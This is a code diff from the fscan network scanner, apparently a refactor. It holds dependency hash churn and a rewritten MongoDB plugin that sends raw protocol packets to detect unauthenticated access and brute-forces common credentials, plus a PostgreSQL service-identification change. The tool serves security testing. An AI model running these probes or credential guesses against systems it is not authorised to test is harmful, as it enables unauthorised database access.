google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
|
|
||||||
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
|
|
||||||
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo=
|
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo=
|
||||||
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo=
|
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo=
|
||||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
|
||||||
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
|
|
||||||
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
|
|
||||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
|
||||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
|
||||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
|
||||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
|
||||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
|
||||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
|
||||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
|
||||||
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
|
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
|
||||||
google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||||
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
|
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
|
||||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||||
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
|
|
||||||
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
|
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
|
||||||
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||||
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
|
||||||
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
|
|
||||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
|
||||||
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
|
|
||||||
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4=
|
|
||||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
|
||||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
|
||||||
|
4
main.go
4
main.go
@ -3,6 +3,7 @@ package main
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/core"
|
"github.com/shadow1ng/fscan/core"
|
||||||
@ -15,6 +16,9 @@ import (
|
|||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
// Linus式简化:直接执行,删除过度工程
|
// Linus式简化:直接执行,删除过度工程
|
||||||
|
// 首先设置开始时间
|
||||||
|
common.StartTime = time.Now()
|
||||||
|
|
||||||
var info common.HostInfo
|
var info common.HostInfo
|
||||||
common.Flag(&info)
|
common.Flag(&info)
|
||||||
|
|
||||||
|
@ -3,10 +3,13 @@ package services
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io"
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"go.mongodb.org/mongo-driver/mongo"
|
||||||
|
"go.mongodb.org/mongo-driver/mongo/options"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/plugins"
|
"github.com/shadow1ng/fscan/plugins"
|
||||||
)
|
)
|
||||||
@ -21,28 +24,39 @@ func NewMongoDBPlugin() *MongoDBPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo) *plugins.Result {
|
||||||
|
|
||||||
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
|
||||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
|
||||||
if common.DisableBrute {
|
if common.DisableBrute {
|
||||||
return p.identifyService(ctx, info)
|
return p.identifyService(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
credentials := GenerateCredentials("mongodb")
|
// 首先检测未授权访问
|
||||||
if len(credentials) == 0 {
|
isUnauth, err := p.mongodbUnauth(ctx, info)
|
||||||
return &ScanResult{
|
if err != nil {
|
||||||
|
return &plugins.Result{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "mongodb",
|
Service: "mongodb",
|
||||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
Error: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if isUnauth {
|
||||||
|
common.LogSuccess(fmt.Sprintf("MongoDB %s 未授权访问", target))
|
||||||
|
return &plugins.Result{
|
||||||
|
Success: true,
|
||||||
|
Service: "mongodb",
|
||||||
|
Banner: "未授权访问",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果需要认证,尝试常见凭据
|
||||||
|
credentials := plugins.GenerateCredentials("mongodb")
|
||||||
|
|
||||||
for _, cred := range credentials {
|
for _, cred := range credentials {
|
||||||
if p.testCredential(ctx, info, cred) {
|
if p.testMongoCredential(ctx, info, cred) {
|
||||||
common.LogSuccess(fmt.Sprintf("MongoDB %s %s:%s", target, cred.Username, cred.Password))
|
common.LogSuccess(fmt.Sprintf("MongoDB %s %s:%s", target, cred.Username, cred.Password))
|
||||||
return &ScanResult{
|
return &plugins.Result{
|
||||||
Success: true,
|
Success: true,
|
||||||
Service: "mongodb",
|
Service: "mongodb",
|
||||||
Username: cred.Username,
|
Username: cred.Username,
|
||||||
@ -51,122 +65,198 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanRe
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return &ScanResult{
|
return &plugins.Result{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "mongodb",
|
Service: "mongodb",
|
||||||
Error: fmt.Errorf("未发现弱密码"),
|
Error: fmt.Errorf("未发现弱密码"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo) *plugins.Result {
|
||||||
|
|
||||||
func (p *MongoDBPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) bool {
|
|
||||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
timeout := time.Duration(common.Timeout) * time.Second
|
|
||||||
|
|
||||||
conn, err := net.DialTimeout("tcp", target, timeout)
|
// 尝试检测MongoDB服务
|
||||||
|
isUnauth, err := p.mongodbUnauth(ctx, info)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return &plugins.Result{
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
conn.SetDeadline(time.Now().Add(timeout))
|
|
||||||
return p.testBasicQuery(conn)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *MongoDBPlugin) testBasicQuery(conn net.Conn) bool {
|
|
||||||
queryMsg := p.createListDatabasesQuery()
|
|
||||||
|
|
||||||
if _, err := conn.Write(queryMsg); err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
response := make([]byte, 1024)
|
|
||||||
n, err := conn.Read(response)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
return n > 36 && p.isValidMongoResponse(response[:n])
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *MongoDBPlugin) isValidMongoResponse(data []byte) bool {
|
|
||||||
if len(data) < 36 {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
responseStr := string(data)
|
|
||||||
return strings.Contains(responseStr, "databases") ||
|
|
||||||
strings.Contains(responseStr, "totalSize") ||
|
|
||||||
strings.Contains(responseStr, "name")
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func (p *MongoDBPlugin) createListDatabasesQuery() []byte {
|
|
||||||
query := make([]byte, 58)
|
|
||||||
|
|
||||||
query[0] = 0x3A
|
|
||||||
query[4] = 0x01
|
|
||||||
query[12] = 0x04
|
|
||||||
query[13] = 0x20
|
|
||||||
|
|
||||||
copy(query[20:], "admin.$cmd\x00")
|
|
||||||
|
|
||||||
bsonQuery := []byte{
|
|
||||||
0x1A, 0x00, 0x00, 0x00,
|
|
||||||
0x10,
|
|
||||||
0x6C, 0x69, 0x73, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x00,
|
|
||||||
0x01, 0x00, 0x00, 0x00,
|
|
||||||
0x00,
|
|
||||||
}
|
|
||||||
|
|
||||||
copy(query[32:], bsonQuery)
|
|
||||||
return query
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
|
||||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
|
||||||
timeout := time.Duration(common.Timeout) * time.Second
|
|
||||||
|
|
||||||
conn, err := net.DialTimeout("tcp", target, timeout)
|
|
||||||
if err != nil {
|
|
||||||
return &ScanResult{
|
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "mongodb",
|
Service: "mongodb",
|
||||||
Error: err,
|
Error: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
conn.SetDeadline(time.Now().Add(timeout))
|
// 如果能获得MongoDB响应(无论是否授权),都说明是MongoDB服务
|
||||||
if p.testBasicQuery(conn) {
|
if isUnauth {
|
||||||
banner := "MongoDB"
|
common.LogSuccess(fmt.Sprintf("MongoDB %s 未授权访问", target))
|
||||||
common.LogSuccess(fmt.Sprintf("MongoDB %s %s", target, banner))
|
return &plugins.Result{
|
||||||
return &ScanResult{
|
|
||||||
Success: true,
|
Success: true,
|
||||||
Service: "mongodb",
|
Service: "mongodb",
|
||||||
Banner: banner,
|
Banner: "未授权访问",
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
common.LogSuccess(fmt.Sprintf("MongoDB %s 需要认证", target))
|
||||||
|
return &plugins.Result{
|
||||||
|
Success: true,
|
||||||
|
Service: "mongodb",
|
||||||
|
Banner: "需要认证",
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
return &ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Service: "mongodb",
|
|
||||||
Error: fmt.Errorf("无法识别为MongoDB服务"),
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// mongodbUnauth 检测MongoDB未授权访问 - 基于原始工作版本
|
||||||
|
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo) (bool, error) {
|
||||||
|
msgPacket := p.createOpMsgPacket()
|
||||||
|
queryPacket := p.createOpQueryPacket()
|
||||||
|
|
||||||
|
realhost := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
|
||||||
|
// 尝试OP_MSG查询
|
||||||
|
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket)
|
||||||
|
if err != nil {
|
||||||
|
// 失败则尝试OP_QUERY查询
|
||||||
|
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查响应结果 - 基于原始版本的检测逻辑
|
||||||
|
if strings.Contains(reply, "totalLinesWritten") {
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果能收到响应但不包含预期内容,说明是MongoDB但需要认证
|
||||||
|
if len(reply) > 0 {
|
||||||
|
return false, nil // 是MongoDB,但需要认证
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, fmt.Errorf("无法识别为MongoDB服务")
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkMongoAuth 检查MongoDB认证状态 - 基于原始工作版本
|
||||||
|
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 使用带超时的连接
|
||||||
|
var d net.Dialer
|
||||||
|
conn, err := d.DialContext(connCtx, "tcp", address)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("连接失败: %v", err)
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 检查上下文是否已取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return "", ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置读写超时
|
||||||
|
if err := conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
|
||||||
|
return "", fmt.Errorf("设置超时失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送查询包
|
||||||
|
if _, err := conn.Write(packet); err != nil {
|
||||||
|
return "", fmt.Errorf("发送查询失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 再次检查上下文是否已取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return "", ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取响应
|
||||||
|
reply := make([]byte, 2048)
|
||||||
|
count, err := conn.Read(reply)
|
||||||
|
if err != nil && err != io.EOF {
|
||||||
|
return "", fmt.Errorf("读取响应失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if count == 0 {
|
||||||
|
return "", fmt.Errorf("收到空响应")
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(reply[:count]), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// createOpMsgPacket 创建OP_MSG查询包 - 直接使用原始工作版本
|
||||||
|
func (p *MongoDBPlugin) createOpMsgPacket() []byte {
|
||||||
|
return []byte{
|
||||||
|
0x69, 0x00, 0x00, 0x00, // messageLength
|
||||||
|
0x39, 0x00, 0x00, 0x00, // requestID
|
||||||
|
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||||
|
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
|
||||||
|
0x00, 0x00, 0x00, 0x00, // flagBits
|
||||||
|
// sections db.adminCommand({getLog: "startupWarnings"})
|
||||||
|
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// createOpQueryPacket 创建OP_QUERY查询包 - 直接使用原始工作版本
|
||||||
|
func (p *MongoDBPlugin) createOpQueryPacket() []byte {
|
||||||
|
return []byte{
|
||||||
|
0x48, 0x00, 0x00, 0x00, // messageLength
|
||||||
|
0x02, 0x00, 0x00, 0x00, // requestID
|
||||||
|
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||||
|
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
|
||||||
|
0x00, 0x00, 0x00, 0x00, // flags
|
||||||
|
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
|
||||||
|
0x00, 0x00, 0x00, 0x00, // numberToSkip
|
||||||
|
0x01, 0x00, 0x00, 0x00, // numberToReturn
|
||||||
|
// query db.adminCommand({getLog: "startupWarnings"})
|
||||||
|
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// testMongoCredential 使用官方MongoDB驱动测试凭据
|
||||||
|
func (p *MongoDBPlugin) testMongoCredential(ctx context.Context, info *common.HostInfo, cred plugins.Credential) bool {
|
||||||
|
// 构建MongoDB连接URI
|
||||||
|
var uri string
|
||||||
|
if cred.Username != "" && cred.Password != "" {
|
||||||
|
uri = fmt.Sprintf("mongodb://%s:%s@%s:%s/?connectTimeoutMS=%d000&serverSelectionTimeoutMS=%d000",
|
||||||
|
cred.Username, cred.Password, info.Host, info.Ports, common.Timeout, common.Timeout)
|
||||||
|
} else if cred.Username != "" {
|
||||||
|
// 对于有用户名但密码为空的情况,仍然尝试认证
|
||||||
|
uri = fmt.Sprintf("mongodb://%s:@%s:%s/?connectTimeoutMS=%d000&serverSelectionTimeoutMS=%d000",
|
||||||
|
cred.Username, info.Host, info.Ports, common.Timeout, common.Timeout)
|
||||||
|
} else {
|
||||||
|
// 无用户名的情况,尝试无认证连接
|
||||||
|
uri = fmt.Sprintf("mongodb://%s:%s/?connectTimeoutMS=%d000&serverSelectionTimeoutMS=%d000",
|
||||||
|
info.Host, info.Ports, common.Timeout, common.Timeout)
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// 创建客户端选项
|
||||||
|
clientOptions := options.Client().ApplyURI(uri)
|
||||||
|
|
||||||
|
// 创建带超时的上下文
|
||||||
|
authCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 连接到MongoDB
|
||||||
|
client, err := mongo.Connect(authCtx, clientOptions)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer client.Disconnect(authCtx)
|
||||||
|
|
||||||
|
// 测试连接 - 尝试ping数据库
|
||||||
|
err = client.Ping(authCtx, nil)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
plugins.RegisterWithPorts("mongodb", func() plugins.Plugin {
|
||||||
RegisterPluginWithPorts("mongodb", func() Plugin {
|
|
||||||
return NewMongoDBPlugin()
|
return NewMongoDBPlugin()
|
||||||
}, []int{27017, 27018, 27019})
|
}, []int{27017, 27018, 27019})
|
||||||
}
|
}
|
@ -114,17 +114,28 @@ func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.Hos
|
|||||||
|
|
||||||
err = db.PingContext(pingCtx)
|
err = db.PingContext(pingCtx)
|
||||||
|
|
||||||
|
// 改进识别逻辑:任何PostgreSQL相关的响应都认为是有效服务
|
||||||
var banner string
|
var banner string
|
||||||
if err != nil && strings.Contains(strings.ToLower(err.Error()), "postgres") {
|
if err != nil {
|
||||||
banner = "PostgreSQL"
|
errMsg := strings.ToLower(err.Error())
|
||||||
} else if err == nil {
|
// PostgreSQL常见错误关键词
|
||||||
banner = "PostgreSQL"
|
if strings.Contains(errMsg, "postgres") ||
|
||||||
} else {
|
strings.Contains(errMsg, "authentication") ||
|
||||||
return &ScanResult{
|
strings.Contains(errMsg, "database") ||
|
||||||
Success: false,
|
strings.Contains(errMsg, "password") ||
|
||||||
Service: "postgresql",
|
strings.Contains(errMsg, "role") ||
|
||||||
Error: fmt.Errorf("无法识别为PostgreSQL服务"),
|
strings.Contains(errMsg, "user") ||
|
||||||
|
strings.Contains(errMsg, "pq:") {
|
||||||
|
banner = "PostgreSQL"
|
||||||
|
} else {
|
||||||
|
return &ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Service: "postgresql",
|
||||||
|
Error: fmt.Errorf("无法识别为PostgreSQL服务: %s", err.Error()),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
banner = "PostgreSQL (连接成功)"
|
||||||
}
|
}
|
||||||
|
|
||||||
common.LogSuccess(fmt.Sprintf("PostgreSQL %s %s", target, banner))
|
common.LogSuccess(fmt.Sprintf("PostgreSQL %s %s", target, banner))
|
||||||
|
@ -32,7 +32,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo) *WebScan
|
|||||||
}
|
}
|
||||||
|
|
